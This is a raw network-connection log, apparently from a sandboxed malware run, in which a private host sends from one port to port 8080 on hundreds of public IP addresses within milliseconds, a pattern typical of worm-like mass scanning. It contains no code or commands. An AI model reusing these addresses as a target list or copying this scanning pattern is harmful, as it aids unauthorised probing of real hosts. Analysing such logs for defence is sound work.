Dec 26, 2023 21:22:47.748826981 CET	45469	8080	192.168.2.23	95.184.249.158
Dec 26, 2023 21:22:47.748837948 CET	45469	8080	192.168.2.23	85.85.7.9
Dec 26, 2023 21:22:47.748837948 CET	45469	8080	192.168.2.23	94.19.104.59
Dec 26, 2023 21:22:47.748858929 CET	45469	8080	192.168.2.23	95.189.169.198
Dec 26, 2023 21:22:47.748862028 CET	45469	8080	192.168.2.23	62.254.90.160
Dec 26, 2023 21:22:47.748866081 CET	45469	8080	192.168.2.23	62.226.229.205
Dec 26, 2023 21:22:47.748876095 CET	45469	8080	192.168.2.23	31.51.2.6
Dec 26, 2023 21:22:47.748882055 CET	45469	8080	192.168.2.23	95.116.183.199
Dec 26, 2023 21:22:47.748889923 CET	45469	8080	192.168.2.23	62.14.33.72
Dec 26, 2023 21:22:47.748904943 CET	45469	8080	192.168.2.23	62.41.182.31
Dec 26, 2023 21:22:47.748910904 CET	45469	8080	192.168.2.23	95.0.87.66
Dec 26, 2023 21:22:47.748925924 CET	45469	8080	192.168.2.23	94.9.163.121
Dec 26, 2023 21:22:47.748930931 CET	45469	8080	192.168.2.23	95.184.194.128
Dec 26, 2023 21:22:47.748934984 CET	45469	8080	192.168.2.23	85.129.171.28
Dec 26, 2023 21:22:47.748959064 CET	45469	8080	192.168.2.23	31.251.168.9
Dec 26, 2023 21:22:47.748959064 CET	45469	8080	192.168.2.23	62.97.203.46
Dec 26, 2023 21:22:47.748976946 CET	45469	8080	192.168.2.23	31.74.185.219
Dec 26, 2023 21:22:47.749006033 CET	45469	8080	192.168.2.23	31.4.30.250
Dec 26, 2023 21:22:47.749007940 CET	45469	8080	192.168.2.23	95.195.57.152
Dec 26, 2023 21:22:47.749007940 CET	45469	8080	192.168.2.23	85.202.247.11
Dec 26, 2023 21:22:47.749020100 CET	45469	8080	192.168.2.23	85.5.42.101
Dec 26, 2023 21:22:47.749037981 CET	45469	8080	192.168.2.23	31.101.103.249
Dec 26, 2023 21:22:47.749047995 CET	45469	8080	192.168.2.23	31.167.49.170
Dec 26, 2023 21:22:47.749056101 CET	45469	8080	192.168.2.23	62.201.205.33
Dec 26, 2023 21:22:47.749070883 CET	45469	8080	192.168.2.23	95.111.208.179
Dec 26, 2023 21:22:47.749088049 CET	45469	8080	192.168.2.23	31.51.2.91
Dec 26, 2023 21:22:47.749088049 CET	45469	8080	192.168.2.23	62.98.217.69
Dec 26, 2023 21:22:47.749106884 CET	45469	8080	192.168.2.23	85.247.178.215
Dec 26, 2023 21:22:47.749119997 CET	45469	8080	192.168.2.23	31.184.175.13
Dec 26, 2023 21:22:47.749128103 CET	45469	8080	192.168.2.23	31.117.25.181
Dec 26, 2023 21:22:47.749138117 CET	45469	8080	192.168.2.23	31.184.22.243
Dec 26, 2023 21:22:47.749145031 CET	45469	8080	192.168.2.23	95.146.89.143
Dec 26, 2023 21:22:47.749147892 CET	45469	8080	192.168.2.23	95.40.207.178
Dec 26, 2023 21:22:47.749154091 CET	45469	8080	192.168.2.23	85.190.106.206
Dec 26, 2023 21:22:47.749161959 CET	45469	8080	192.168.2.23	31.125.8.136
Dec 26, 2023 21:22:47.749165058 CET	45469	8080	192.168.2.23	85.72.120.76
Dec 26, 2023 21:22:47.749178886 CET	45469	8080	192.168.2.23	62.73.134.123
Dec 26, 2023 21:22:47.749187946 CET	45469	8080	192.168.2.23	94.16.79.232
Dec 26, 2023 21:22:47.749187946 CET	45469	8080	192.168.2.23	31.240.159.151
Dec 26, 2023 21:22:47.749191046 CET	45469	8080	192.168.2.23	85.85.7.241
Dec 26, 2023 21:22:47.749191046 CET	45469	8080	192.168.2.23	95.74.117.134
Dec 26, 2023 21:22:47.749191046 CET	45469	8080	192.168.2.23	31.25.75.19
Dec 26, 2023 21:22:47.749213934 CET	45469	8080	192.168.2.23	95.205.93.93
Dec 26, 2023 21:22:47.749214888 CET	45469	8080	192.168.2.23	31.157.178.27
Dec 26, 2023 21:22:47.749233007 CET	45469	8080	192.168.2.23	62.72.243.24
Dec 26, 2023 21:22:47.749233007 CET	45469	8080	192.168.2.23	95.134.112.74
Dec 26, 2023 21:22:47.749245882 CET	45469	8080	192.168.2.23	85.237.102.90
Dec 26, 2023 21:22:47.749254942 CET	45469	8080	192.168.2.23	62.63.8.92
Dec 26, 2023 21:22:47.749259949 CET	45469	8080	192.168.2.23	85.182.73.40
Dec 26, 2023 21:22:47.749260902 CET	45469	8080	192.168.2.23	62.135.31.209
Dec 26, 2023 21:22:47.749269962 CET	45469	8080	192.168.2.23	62.218.25.164
Dec 26, 2023 21:22:47.749283075 CET	45469	8080	192.168.2.23	31.7.45.225
Dec 26, 2023 21:22:47.749295950 CET	45469	8080	192.168.2.23	31.225.221.124
Dec 26, 2023 21:22:47.749295950 CET	45469	8080	192.168.2.23	94.247.0.195
Dec 26, 2023 21:22:47.749310970 CET	45469	8080	192.168.2.23	95.181.229.148
Dec 26, 2023 21:22:47.749325991 CET	45469	8080	192.168.2.23	31.94.53.214
Dec 26, 2023 21:22:47.749325991 CET	45469	8080	192.168.2.23	95.5.241.86
Dec 26, 2023 21:22:47.749340057 CET	45469	8080	192.168.2.23	95.25.70.94
Dec 26, 2023 21:22:47.749341011 CET	45469	8080	192.168.2.23	95.175.153.92
Dec 26, 2023 21:22:47.749346018 CET	45469	8080	192.168.2.23	31.129.70.83
Dec 26, 2023 21:22:47.749353886 CET	45469	8080	192.168.2.23	85.41.204.8
Dec 26, 2023 21:22:47.749356985 CET	45469	8080	192.168.2.23	94.108.149.137
Dec 26, 2023 21:22:47.749376059 CET	45469	8080	192.168.2.23	94.30.96.59
Dec 26, 2023 21:22:47.749385118 CET	45469	8080	192.168.2.23	85.110.162.57
Dec 26, 2023 21:22:47.749386072 CET	45469	8080	192.168.2.23	31.222.42.213
Dec 26, 2023 21:22:47.749386072 CET	45469	8080	192.168.2.23	85.134.223.74
Dec 26, 2023 21:22:47.749387980 CET	45469	8080	192.168.2.23	94.86.22.36
Dec 26, 2023 21:22:47.749387980 CET	45469	8080	192.168.2.23	85.69.19.71
Dec 26, 2023 21:22:47.749397039 CET	45469	8080	192.168.2.23	94.156.39.88
Dec 26, 2023 21:22:47.749418020 CET	45469	8080	192.168.2.23	62.247.96.103
Dec 26, 2023 21:22:47.749427080 CET	45469	8080	192.168.2.23	95.71.179.86
Dec 26, 2023 21:22:47.749427080 CET	45469	8080	192.168.2.23	85.176.103.40
Dec 26, 2023 21:22:47.749433994 CET	45469	8080	192.168.2.23	95.252.137.140
Dec 26, 2023 21:22:47.749437094 CET	45469	8080	192.168.2.23	95.17.15.248
Dec 26, 2023 21:22:47.749447107 CET	45469	8080	192.168.2.23	62.74.24.6
Dec 26, 2023 21:22:47.749464989 CET	45469	8080	192.168.2.23	94.200.253.147
Dec 26, 2023 21:22:47.749476910 CET	45469	8080	192.168.2.23	62.200.106.19
Dec 26, 2023 21:22:47.749483109 CET	45469	8080	192.168.2.23	62.210.255.67
Dec 26, 2023 21:22:47.749489069 CET	45469	8080	192.168.2.23	31.13.141.108
Dec 26, 2023 21:22:47.749494076 CET	45469	8080	192.168.2.23	31.20.114.113
Dec 26, 2023 21:22:47.749505043 CET	45469	8080	192.168.2.23	95.86.103.152
Dec 26, 2023 21:22:47.749512911 CET	45469	8080	192.168.2.23	85.250.110.116
Dec 26, 2023 21:22:47.749516964 CET	45469	8080	192.168.2.23	62.79.95.120
Dec 26, 2023 21:22:47.749536037 CET	45469	8080	192.168.2.23	94.43.238.121
Dec 26, 2023 21:22:47.749537945 CET	45469	8080	192.168.2.23	94.149.69.127
Dec 26, 2023 21:22:47.749537945 CET	45469	8080	192.168.2.23	94.171.161.130
Dec 26, 2023 21:22:47.749548912 CET	45469	8080	192.168.2.23	94.254.20.49
Dec 26, 2023 21:22:47.749555111 CET	45469	8080	192.168.2.23	94.161.31.178
Dec 26, 2023 21:22:47.749561071 CET	45469	8080	192.168.2.23	31.11.174.101
Dec 26, 2023 21:22:47.749564886 CET	45469	8080	192.168.2.23	95.39.154.112
Dec 26, 2023 21:22:47.749577045 CET	45469	8080	192.168.2.23	95.18.69.101
Dec 26, 2023 21:22:47.749578953 CET	45469	8080	192.168.2.23	95.171.87.233
Dec 26, 2023 21:22:47.749586105 CET	45469	8080	192.168.2.23	62.194.166.189
Dec 26, 2023 21:22:47.749593973 CET	45469	8080	192.168.2.23	62.215.189.245
Dec 26, 2023 21:22:47.749603987 CET	45469	8080	192.168.2.23	95.91.201.173
Dec 26, 2023 21:22:47.749620914 CET	45469	8080	192.168.2.23	95.2.154.21
Dec 26, 2023 21:22:47.749627113 CET	45469	8080	192.168.2.23	94.64.69.133
Dec 26, 2023 21:22:47.749630928 CET	45469	8080	192.168.2.23	85.43.123.149
Dec 26, 2023 21:22:47.749630928 CET	45469	8080	192.168.2.23	95.222.99.195
Dec 26, 2023 21:22:47.749641895 CET	45469	8080	192.168.2.23	31.129.229.94
Dec 26, 2023 21:22:47.749641895 CET	45469	8080	192.168.2.23	62.98.182.106
Dec 26, 2023 21:22:47.749658108 CET	45469	8080	192.168.2.23	31.70.37.153
Dec 26, 2023 21:22:47.749658108 CET	45469	8080	192.168.2.23	31.242.89.128
Dec 26, 2023 21:22:47.749658108 CET	45469	8080	192.168.2.23	85.187.242.96
Dec 26, 2023 21:22:47.749674082 CET	45469	8080	192.168.2.23	62.141.79.13
Dec 26, 2023 21:22:47.749695063 CET	45469	8080	192.168.2.23	62.101.118.168
Dec 26, 2023 21:22:47.749697924 CET	45469	8080	192.168.2.23	62.233.56.114
Dec 26, 2023 21:22:47.749705076 CET	45469	8080	192.168.2.23	85.28.234.163
Dec 26, 2023 21:22:47.749705076 CET	45469	8080	192.168.2.23	95.32.245.98
Dec 26, 2023 21:22:47.749721050 CET	45469	8080	192.168.2.23	85.192.176.241
Dec 26, 2023 21:22:47.749748945 CET	45469	8080	192.168.2.23	31.157.229.202
Dec 26, 2023 21:22:47.749748945 CET	45469	8080	192.168.2.23	95.101.21.245
Dec 26, 2023 21:22:47.749758959 CET	45469	8080	192.168.2.23	85.202.254.231
Dec 26, 2023 21:22:47.749778032 CET	45469	8080	192.168.2.23	95.136.177.152
Dec 26, 2023 21:22:47.749794006 CET	45469	8080	192.168.2.23	62.177.229.8
Dec 26, 2023 21:22:47.749799013 CET	45469	8080	192.168.2.23	62.116.135.93
Dec 26, 2023 21:22:47.749802113 CET	45469	8080	192.168.2.23	94.178.45.135
Dec 26, 2023 21:22:47.749813080 CET	45469	8080	192.168.2.23	62.166.50.151
Dec 26, 2023 21:22:47.749830008 CET	45469	8080	192.168.2.23	62.146.94.254
Dec 26, 2023 21:22:47.749841928 CET	45469	8080	192.168.2.23	31.37.25.158
Dec 26, 2023 21:22:47.749841928 CET	45469	8080	192.168.2.23	62.162.11.192
Dec 26, 2023 21:22:47.749842882 CET	45469	8080	192.168.2.23	62.146.181.219
Dec 26, 2023 21:22:47.749856949 CET	45469	8080	192.168.2.23	95.73.224.29
Dec 26, 2023 21:22:47.749862909 CET	45469	8080	192.168.2.23	85.250.237.24
Dec 26, 2023 21:22:47.749881029 CET	45469	8080	192.168.2.23	85.214.173.81
Dec 26, 2023 21:22:47.749883890 CET	45469	8080	192.168.2.23	62.196.232.137
Dec 26, 2023 21:22:47.749897957 CET	8080	54142	95.86.91.231	192.168.2.23
Dec 26, 2023 21:22:47.749898911 CET	45469	8080	192.168.2.23	85.186.59.15
Dec 26, 2023 21:22:47.749898911 CET	45469	8080	192.168.2.23	31.147.17.57
Dec 26, 2023 21:22:47.749921083 CET	45469	8080	192.168.2.23	62.147.52.38
Dec 26, 2023 21:22:47.749941111 CET	54142	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:47.749948978 CET	45469	8080	192.168.2.23	85.42.20.213
Dec 26, 2023 21:22:47.749974966 CET	45469	8080	192.168.2.23	31.218.140.249
Dec 26, 2023 21:22:47.749979019 CET	45469	8080	192.168.2.23	85.231.81.187
Dec 26, 2023 21:22:47.749984026 CET	45469	8080	192.168.2.23	62.8.101.19
Dec 26, 2023 21:22:47.749993086 CET	45469	8080	192.168.2.23	62.31.171.132
Dec 26, 2023 21:22:47.749993086 CET	45469	8080	192.168.2.23	85.135.216.107
Dec 26, 2023 21:22:47.749995947 CET	45469	8080	192.168.2.23	31.45.178.175
Dec 26, 2023 21:22:47.750003099 CET	45469	8080	192.168.2.23	85.140.227.255
Dec 26, 2023 21:22:47.750003099 CET	45469	8080	192.168.2.23	31.108.66.250
Dec 26, 2023 21:22:47.750020981 CET	45469	8080	192.168.2.23	85.130.215.200
Dec 26, 2023 21:22:47.750046968 CET	45469	8080	192.168.2.23	95.172.183.93
Dec 26, 2023 21:22:47.750056982 CET	45469	8080	192.168.2.23	31.148.116.211
Dec 26, 2023 21:22:47.750057936 CET	45469	8080	192.168.2.23	31.143.70.198
Dec 26, 2023 21:22:47.750057936 CET	45469	8080	192.168.2.23	62.31.180.157
Dec 26, 2023 21:22:47.750077963 CET	45469	8080	192.168.2.23	95.67.84.197
Dec 26, 2023 21:22:47.750077963 CET	45469	8080	192.168.2.23	31.101.248.30
Dec 26, 2023 21:22:47.750080109 CET	45469	8080	192.168.2.23	95.226.172.117
Dec 26, 2023 21:22:47.750087023 CET	45469	8080	192.168.2.23	85.183.49.89
Dec 26, 2023 21:22:47.750108004 CET	45469	8080	192.168.2.23	85.109.175.245
Dec 26, 2023 21:22:47.750113964 CET	45469	8080	192.168.2.23	94.1.160.111
Dec 26, 2023 21:22:47.750125885 CET	45469	8080	192.168.2.23	31.34.181.40
Dec 26, 2023 21:22:47.750138998 CET	45469	8080	192.168.2.23	95.34.29.218
Dec 26, 2023 21:22:47.750144958 CET	45469	8080	192.168.2.23	62.153.98.56
Dec 26, 2023 21:22:47.750164986 CET	45469	8080	192.168.2.23	94.211.138.121
Dec 26, 2023 21:22:47.750180960 CET	45469	8080	192.168.2.23	95.185.203.195
Dec 26, 2023 21:22:47.750180960 CET	45469	8080	192.168.2.23	62.221.181.151
Dec 26, 2023 21:22:47.750191927 CET	45469	8080	192.168.2.23	94.103.235.241
Dec 26, 2023 21:22:47.750197887 CET	45469	8080	192.168.2.23	94.79.46.32
Dec 26, 2023 21:22:47.750211954 CET	45469	8080	192.168.2.23	85.116.8.52
Dec 26, 2023 21:22:47.750216007 CET	45469	8080	192.168.2.23	94.167.157.224
Dec 26, 2023 21:22:47.750216007 CET	45469	8080	192.168.2.23	95.45.237.115
Dec 26, 2023 21:22:47.750220060 CET	45469	8080	192.168.2.23	85.192.151.215
Dec 26, 2023 21:22:47.750233889 CET	45469	8080	192.168.2.23	62.82.79.127
Dec 26, 2023 21:22:47.750236034 CET	45469	8080	192.168.2.23	95.179.105.165
Dec 26, 2023 21:22:47.750245094 CET	45469	8080	192.168.2.23	95.38.245.108
Dec 26, 2023 21:22:47.750260115 CET	45469	8080	192.168.2.23	85.91.226.214
Dec 26, 2023 21:22:47.750267029 CET	45469	8080	192.168.2.23	85.177.162.58
Dec 26, 2023 21:22:47.750267029 CET	45469	8080	192.168.2.23	85.81.177.110
Dec 26, 2023 21:22:47.750282049 CET	45469	8080	192.168.2.23	95.226.23.226
Dec 26, 2023 21:22:47.750293016 CET	45469	8080	192.168.2.23	85.167.170.24
Dec 26, 2023 21:22:47.750297070 CET	45469	8080	192.168.2.23	94.131.118.139
Dec 26, 2023 21:22:47.750296116 CET	45469	8080	192.168.2.23	62.91.132.24
Dec 26, 2023 21:22:47.750308037 CET	45469	8080	192.168.2.23	31.207.251.48
Dec 26, 2023 21:22:47.750327110 CET	45469	8080	192.168.2.23	95.23.236.205
Dec 26, 2023 21:22:47.750329018 CET	45469	8080	192.168.2.23	85.184.14.169
Dec 26, 2023 21:22:47.750329018 CET	45469	8080	192.168.2.23	94.125.63.51
Dec 26, 2023 21:22:47.750364065 CET	45469	8080	192.168.2.23	95.111.228.165
Dec 26, 2023 21:22:47.750365019 CET	45469	8080	192.168.2.23	85.180.61.100
Dec 26, 2023 21:22:47.750366926 CET	45469	8080	192.168.2.23	85.247.180.252
Dec 26, 2023 21:22:47.750375986 CET	45469	8080	192.168.2.23	95.113.96.207
Dec 26, 2023 21:22:47.750392914 CET	45469	8080	192.168.2.23	94.95.164.204
Dec 26, 2023 21:22:47.750400066 CET	45469	8080	192.168.2.23	62.73.253.170
Dec 26, 2023 21:22:47.750406027 CET	45469	8080	192.168.2.23	95.232.70.80
Dec 26, 2023 21:22:47.750406027 CET	45469	8080	192.168.2.23	85.234.12.168
Dec 26, 2023 21:22:47.750411987 CET	45469	8080	192.168.2.23	31.33.2.204
Dec 26, 2023 21:22:47.750413895 CET	45469	8080	192.168.2.23	85.184.236.168
Dec 26, 2023 21:22:47.750427961 CET	45469	8080	192.168.2.23	31.127.36.177
Dec 26, 2023 21:22:47.750427961 CET	45469	8080	192.168.2.23	62.133.32.120
Dec 26, 2023 21:22:47.750432968 CET	45469	8080	192.168.2.23	85.130.40.54
Dec 26, 2023 21:22:47.750438929 CET	45469	8080	192.168.2.23	85.95.167.96
Dec 26, 2023 21:22:47.750451088 CET	45469	8080	192.168.2.23	94.97.46.3
Dec 26, 2023 21:22:47.750458956 CET	45469	8080	192.168.2.23	85.126.141.117
Dec 26, 2023 21:22:47.750468016 CET	45469	8080	192.168.2.23	85.252.182.24
Dec 26, 2023 21:22:47.750478029 CET	45469	8080	192.168.2.23	95.166.109.88
Dec 26, 2023 21:22:47.750488043 CET	45469	8080	192.168.2.23	85.208.90.70
Dec 26, 2023 21:22:47.750497103 CET	45469	8080	192.168.2.23	85.75.43.251
Dec 26, 2023 21:22:47.750514030 CET	45469	8080	192.168.2.23	31.248.206.132
Dec 26, 2023 21:22:47.750516891 CET	45469	8080	192.168.2.23	94.84.52.251
Dec 26, 2023 21:22:47.750526905 CET	45469	8080	192.168.2.23	94.60.119.217
Dec 26, 2023 21:22:47.750535011 CET	45469	8080	192.168.2.23	62.228.154.100
Dec 26, 2023 21:22:47.750545979 CET	45469	8080	192.168.2.23	85.26.76.117
Dec 26, 2023 21:22:47.750555992 CET	45469	8080	192.168.2.23	62.239.73.98
Dec 26, 2023 21:22:47.750576019 CET	45469	8080	192.168.2.23	94.148.239.151
Dec 26, 2023 21:22:47.750576019 CET	45469	8080	192.168.2.23	62.182.249.93
Dec 26, 2023 21:22:47.750579119 CET	45469	8080	192.168.2.23	85.179.91.10
Dec 26, 2023 21:22:47.750581026 CET	45469	8080	192.168.2.23	62.96.11.202
Dec 26, 2023 21:22:47.750592947 CET	45469	8080	192.168.2.23	31.110.31.12
Dec 26, 2023 21:22:47.750598907 CET	45469	8080	192.168.2.23	94.136.126.70
Dec 26, 2023 21:22:47.750613928 CET	45469	8080	192.168.2.23	95.227.65.113
Dec 26, 2023 21:22:47.750618935 CET	45469	8080	192.168.2.23	31.102.94.251
Dec 26, 2023 21:22:47.750624895 CET	45469	8080	192.168.2.23	94.209.244.106
Dec 26, 2023 21:22:47.750644922 CET	45469	8080	192.168.2.23	31.85.220.243
Dec 26, 2023 21:22:47.750646114 CET	45469	8080	192.168.2.23	31.154.163.249
Dec 26, 2023 21:22:47.750648975 CET	45469	8080	192.168.2.23	85.35.232.151
Dec 26, 2023 21:22:47.750660896 CET	45469	8080	192.168.2.23	95.154.192.199
Dec 26, 2023 21:22:47.750677109 CET	45469	8080	192.168.2.23	62.116.122.140
Dec 26, 2023 21:22:47.750690937 CET	45469	8080	192.168.2.23	95.201.123.156
Dec 26, 2023 21:22:47.750690937 CET	45469	8080	192.168.2.23	94.144.190.79
Dec 26, 2023 21:22:47.750708103 CET	45469	8080	192.168.2.23	31.163.121.1
Dec 26, 2023 21:22:47.750715971 CET	45469	8080	192.168.2.23	94.1.4.129
Dec 26, 2023 21:22:47.750716925 CET	45469	8080	192.168.2.23	31.112.109.107
Dec 26, 2023 21:22:47.750730991 CET	45469	8080	192.168.2.23	95.107.36.190
Dec 26, 2023 21:22:47.750739098 CET	45469	8080	192.168.2.23	31.203.179.50
Dec 26, 2023 21:22:47.750746965 CET	45469	8080	192.168.2.23	62.11.188.221
Dec 26, 2023 21:22:47.750766039 CET	45469	8080	192.168.2.23	31.102.175.39
Dec 26, 2023 21:22:47.750766039 CET	45469	8080	192.168.2.23	95.252.138.131
Dec 26, 2023 21:22:47.750771046 CET	45469	8080	192.168.2.23	62.223.82.197
Dec 26, 2023 21:22:47.750792980 CET	45469	8080	192.168.2.23	95.219.57.135
Dec 26, 2023 21:22:47.750797033 CET	45469	8080	192.168.2.23	94.63.127.60
Dec 26, 2023 21:22:47.750797033 CET	45469	8080	192.168.2.23	94.93.1.171
Dec 26, 2023 21:22:47.750802994 CET	45469	8080	192.168.2.23	95.185.208.125
Dec 26, 2023 21:22:47.750809908 CET	45469	8080	192.168.2.23	31.120.103.230
Dec 26, 2023 21:22:47.750829935 CET	45469	8080	192.168.2.23	62.111.23.210
Dec 26, 2023 21:22:47.750844002 CET	45469	8080	192.168.2.23	62.165.8.54
Dec 26, 2023 21:22:47.750848055 CET	45469	8080	192.168.2.23	95.214.170.89
Dec 26, 2023 21:22:47.750854015 CET	45469	8080	192.168.2.23	94.67.200.151
Dec 26, 2023 21:22:47.750854015 CET	45469	8080	192.168.2.23	95.237.163.87
Dec 26, 2023 21:22:47.750855923 CET	45469	8080	192.168.2.23	94.249.201.133
Dec 26, 2023 21:22:47.750855923 CET	45469	8080	192.168.2.23	94.251.252.127
Dec 26, 2023 21:22:47.750864029 CET	45469	8080	192.168.2.23	94.187.228.223
Dec 26, 2023 21:22:47.750868082 CET	45469	8080	192.168.2.23	95.12.54.147
Dec 26, 2023 21:22:47.750889063 CET	45469	8080	192.168.2.23	62.27.186.31
Dec 26, 2023 21:22:47.750896931 CET	45469	8080	192.168.2.23	94.219.140.108
Dec 26, 2023 21:22:47.750900030 CET	45469	8080	192.168.2.23	94.77.97.59
Dec 26, 2023 21:22:47.750904083 CET	45469	8080	192.168.2.23	31.65.13.248
Dec 26, 2023 21:22:47.750904083 CET	45469	8080	192.168.2.23	95.187.97.130
Dec 26, 2023 21:22:47.750922918 CET	45469	8080	192.168.2.23	95.192.4.135
Dec 26, 2023 21:22:47.750925064 CET	45469	8080	192.168.2.23	94.139.69.135
Dec 26, 2023 21:22:47.750935078 CET	45469	8080	192.168.2.23	85.110.192.174
Dec 26, 2023 21:22:47.750951052 CET	45469	8080	192.168.2.23	94.17.83.135
Dec 26, 2023 21:22:47.750962973 CET	45469	8080	192.168.2.23	85.104.76.210
Dec 26, 2023 21:22:47.750962973 CET	45469	8080	192.168.2.23	62.38.181.58
Dec 26, 2023 21:22:47.750987053 CET	45469	8080	192.168.2.23	31.14.99.37
Dec 26, 2023 21:22:47.750996113 CET	45469	8080	192.168.2.23	62.244.114.185
Dec 26, 2023 21:22:47.751010895 CET	45469	8080	192.168.2.23	94.183.122.48
Dec 26, 2023 21:22:47.751014948 CET	45469	8080	192.168.2.23	31.145.39.164
Dec 26, 2023 21:22:47.751015902 CET	45469	8080	192.168.2.23	85.165.35.195
Dec 26, 2023 21:22:47.751015902 CET	45469	8080	192.168.2.23	31.155.75.83
Dec 26, 2023 21:22:47.751018047 CET	45469	8080	192.168.2.23	94.194.35.182
Dec 26, 2023 21:22:47.751034021 CET	45469	8080	192.168.2.23	85.78.207.224
Dec 26, 2023 21:22:47.751034021 CET	45469	8080	192.168.2.23	62.178.219.222
Dec 26, 2023 21:22:47.751048088 CET	45469	8080	192.168.2.23	94.123.25.220
Dec 26, 2023 21:22:47.751059055 CET	45469	8080	192.168.2.23	94.190.128.169
Dec 26, 2023 21:22:47.751066923 CET	45469	8080	192.168.2.23	95.199.156.41
Dec 26, 2023 21:22:47.751084089 CET	45469	8080	192.168.2.23	94.11.114.156
Dec 26, 2023 21:22:47.751091003 CET	45469	8080	192.168.2.23	95.54.248.83
Dec 26, 2023 21:22:47.751110077 CET	45469	8080	192.168.2.23	62.185.37.229
Dec 26, 2023 21:22:47.751127005 CET	45469	8080	192.168.2.23	62.17.235.63
Dec 26, 2023 21:22:47.751127958 CET	45469	8080	192.168.2.23	94.112.169.223
Dec 26, 2023 21:22:47.751130104 CET	45469	8080	192.168.2.23	95.196.205.175
Dec 26, 2023 21:22:47.751130104 CET	45469	8080	192.168.2.23	62.145.208.206
Dec 26, 2023 21:22:47.751154900 CET	45469	8080	192.168.2.23	62.255.128.254
Dec 26, 2023 21:22:47.751156092 CET	45469	8080	192.168.2.23	31.246.85.5
Dec 26, 2023 21:22:47.751167059 CET	45469	8080	192.168.2.23	95.165.199.39
Dec 26, 2023 21:22:47.751183033 CET	45469	8080	192.168.2.23	85.177.51.16
Dec 26, 2023 21:22:47.751199961 CET	45469	8080	192.168.2.23	95.155.89.206
Dec 26, 2023 21:22:47.751199961 CET	45469	8080	192.168.2.23	95.19.251.57
Dec 26, 2023 21:22:47.751216888 CET	45469	8080	192.168.2.23	95.125.106.127
Dec 26, 2023 21:22:47.751219988 CET	45469	8080	192.168.2.23	95.194.246.132
Dec 26, 2023 21:22:47.751228094 CET	45469	8080	192.168.2.23	95.98.118.174
Dec 26, 2023 21:22:47.751235962 CET	45469	8080	192.168.2.23	85.1.170.84
Dec 26, 2023 21:22:47.751239061 CET	45469	8080	192.168.2.23	85.67.141.65
Dec 26, 2023 21:22:47.751246929 CET	45469	8080	192.168.2.23	94.35.53.212
Dec 26, 2023 21:22:47.751262903 CET	45469	8080	192.168.2.23	94.184.14.78
Dec 26, 2023 21:22:47.751280069 CET	45469	8080	192.168.2.23	31.19.76.48
Dec 26, 2023 21:22:47.751285076 CET	45469	8080	192.168.2.23	95.12.103.218
Dec 26, 2023 21:22:47.751290083 CET	45469	8080	192.168.2.23	85.3.248.250
Dec 26, 2023 21:22:47.751293898 CET	45469	8080	192.168.2.23	85.186.94.253
Dec 26, 2023 21:22:47.751298904 CET	45469	8080	192.168.2.23	62.217.95.62
Dec 26, 2023 21:22:47.751312017 CET	45469	8080	192.168.2.23	95.231.30.135
Dec 26, 2023 21:22:47.751318932 CET	45469	8080	192.168.2.23	31.123.181.121
Dec 26, 2023 21:22:47.751327991 CET	45469	8080	192.168.2.23	95.184.224.75
Dec 26, 2023 21:22:47.751343966 CET	45469	8080	192.168.2.23	95.44.201.158
Dec 26, 2023 21:22:47.751348019 CET	45469	8080	192.168.2.23	95.249.244.201
Dec 26, 2023 21:22:47.751352072 CET	45469	8080	192.168.2.23	62.85.125.30
Dec 26, 2023 21:22:47.751363039 CET	45469	8080	192.168.2.23	94.99.156.146
Dec 26, 2023 21:22:47.751368046 CET	45469	8080	192.168.2.23	85.0.40.46
Dec 26, 2023 21:22:47.751373053 CET	45469	8080	192.168.2.23	62.33.241.30
Dec 26, 2023 21:22:47.751384974 CET	45469	8080	192.168.2.23	62.133.84.223
Dec 26, 2023 21:22:47.751391888 CET	45469	8080	192.168.2.23	62.74.195.173
Dec 26, 2023 21:22:47.751398087 CET	45469	8080	192.168.2.23	85.36.204.215
Dec 26, 2023 21:22:47.751400948 CET	45469	8080	192.168.2.23	95.55.43.228
Dec 26, 2023 21:22:47.751403093 CET	45469	8080	192.168.2.23	94.212.221.245
Dec 26, 2023 21:22:47.751408100 CET	45469	8080	192.168.2.23	95.150.238.52
Dec 26, 2023 21:22:47.751410961 CET	45469	8080	192.168.2.23	31.37.35.21
Dec 26, 2023 21:22:47.751420021 CET	45469	8080	192.168.2.23	85.105.208.61
Dec 26, 2023 21:22:47.751426935 CET	45469	8080	192.168.2.23	62.245.180.122
Dec 26, 2023 21:22:47.751440048 CET	45469	8080	192.168.2.23	94.83.173.189
Dec 26, 2023 21:22:47.751446962 CET	45469	8080	192.168.2.23	31.104.127.11
Dec 26, 2023 21:22:47.751449108 CET	45469	8080	192.168.2.23	31.232.216.150
Dec 26, 2023 21:22:47.751449108 CET	45469	8080	192.168.2.23	31.159.32.24
Dec 26, 2023 21:22:47.751458883 CET	45469	8080	192.168.2.23	95.214.185.25
Dec 26, 2023 21:22:47.751471043 CET	45469	8080	192.168.2.23	62.169.175.128
Dec 26, 2023 21:22:47.751492023 CET	45469	8080	192.168.2.23	31.36.220.188
Dec 26, 2023 21:22:47.751492023 CET	45469	8080	192.168.2.23	95.138.6.148
Dec 26, 2023 21:22:47.751504898 CET	45469	8080	192.168.2.23	94.181.204.43
Dec 26, 2023 21:22:47.751504898 CET	45469	8080	192.168.2.23	94.10.114.58
Dec 26, 2023 21:22:47.751504898 CET	45469	8080	192.168.2.23	95.159.181.113
Dec 26, 2023 21:22:47.751508951 CET	45469	8080	192.168.2.23	62.187.12.190
Dec 26, 2023 21:22:47.751509905 CET	45469	8080	192.168.2.23	31.247.239.136
Dec 26, 2023 21:22:47.751516104 CET	45469	8080	192.168.2.23	31.130.233.208
Dec 26, 2023 21:22:47.751524925 CET	45469	8080	192.168.2.23	85.76.81.193
Dec 26, 2023 21:22:47.751538992 CET	45469	8080	192.168.2.23	85.161.16.102
Dec 26, 2023 21:22:47.751550913 CET	45469	8080	192.168.2.23	94.19.24.237
Dec 26, 2023 21:22:47.751552105 CET	45469	8080	192.168.2.23	85.114.172.118
Dec 26, 2023 21:22:47.751559019 CET	45469	8080	192.168.2.23	31.14.2.219
Dec 26, 2023 21:22:47.751574993 CET	45469	8080	192.168.2.23	95.122.95.196
Dec 26, 2023 21:22:47.751589060 CET	45469	8080	192.168.2.23	85.52.29.164
Dec 26, 2023 21:22:47.751605034 CET	45469	8080	192.168.2.23	85.191.63.221
Dec 26, 2023 21:22:47.751615047 CET	45469	8080	192.168.2.23	94.9.73.245
Dec 26, 2023 21:22:47.751619101 CET	45469	8080	192.168.2.23	85.66.147.147
Dec 26, 2023 21:22:47.751620054 CET	45469	8080	192.168.2.23	31.94.126.244
